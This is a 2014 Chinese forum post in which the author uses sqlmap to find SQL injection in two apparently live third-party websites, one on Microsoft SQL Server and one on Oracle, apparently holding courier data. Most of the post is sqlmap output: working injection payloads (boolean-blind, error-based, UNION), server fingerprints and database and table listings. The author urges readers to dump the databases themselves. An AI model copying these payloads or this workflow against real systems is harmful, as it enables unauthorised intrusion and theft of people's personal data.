首先两个连接：
放在sqlmap里跑吧，
mssql的好跑，那个oracle的实在不说什么了，我这12k的网速估计要跑一天
首先找mssql的 查注入
[AppleScript] 纯文本查看 复制代码 sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=82 AND 3530=3530
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: id=82 AND 1274=CONVERT(INT,(CHAR(58)+CHAR(97)+CHAR(118)+CHAR(100)+C
HAR(58)+(SELECT (CASE WHEN (1274=1274) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58
)+CHAR(99)+CHAR(105)+CHAR(104)+CHAR(58)))
Type: UNION query
Title: Generic UNION query (NULL) - 9 columns
Payload: id=-5953 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CHAR(58)+CH
AR(97)+CHAR(118)+CHAR(100)+CHAR(58)+CHAR(83)+CHAR(105)+CHAR(110)+CHAR(79)+CHAR(9
8)+CHAR(122)+CHAR(98)+CHAR(77)+CHAR(88)+CHAR(73)+CHAR(58)+CHAR(99)+CHAR(105)+CHA
R(104)+CHAR(58), NULL, NULL, NULL--
---
[08:48:47] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
继续查库
[AppleScript] 纯文本查看 复制代码 available databases [11]:
[*] BarFour
[*] BillPicData
[*] distribution
[*] master
[*] model
[*] msdb
[*] qcexdata
[*] ScanData
[*] tempdb
[*] tmsdata
[*] use_part
qcexdata这个库觉得有信息
[AppleScript] 纯文本查看 复制代码 Database: qcexdata
[10 tables]
+------------------+
| dbo.[V_????????] |
| dbo.[???????] |
| dbo.[??????] |
| dbo.[????????] |
| dbo.[????????] |
| dbo.[?????\xbc??] |
| dbo.[????????] |
| dbo.[???????] |
| dbo.[????????] |
| dbo.dtproperties |
+------------------+
估计是中文的库名，懒得用明小子了，各位看官自己去吧
第二个放出~
由于是一个查询页面，加一个引号就报错了
那么就抓包试试post注入
好了我们发现传递这个查询的参数是txtIDs 那就拿出神器
[AppleScript] 纯文本查看 复制代码
---
Place: POST
Parameter: txtIDs
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: txtIDs=1' AND 5943=5943 AND 'qjFE'='qjFE
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: txtIDs=1' AND 7814=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(120)
||CHR(112)||CHR(103)||CHR(58)||(SELECT (CASE WHEN (7814=7814) THEN 1 ELSE 0 END)
FROM DUAL)||CHR(58)||CHR(112)||CHR(112)||CHR(97)||CHR(58)||CHR(62))) FROM DUAL)
AND 'nBmT'='nBmT
---
[09:05:24] [INFO] the back-end DBMS is Oracle
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Oracle
列--dbs 如下
[AppleScript] 纯文本查看 复制代码 available databases [7]:
[*] DBSNMP
[*] ND
[*] OUTLN
[*] SYS
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
表段--tables太多懒得列了，各位看官自行脱裤吧，oracle快递数据库你们都懂的、
| 
发表于 2014-7-14 09:07:49
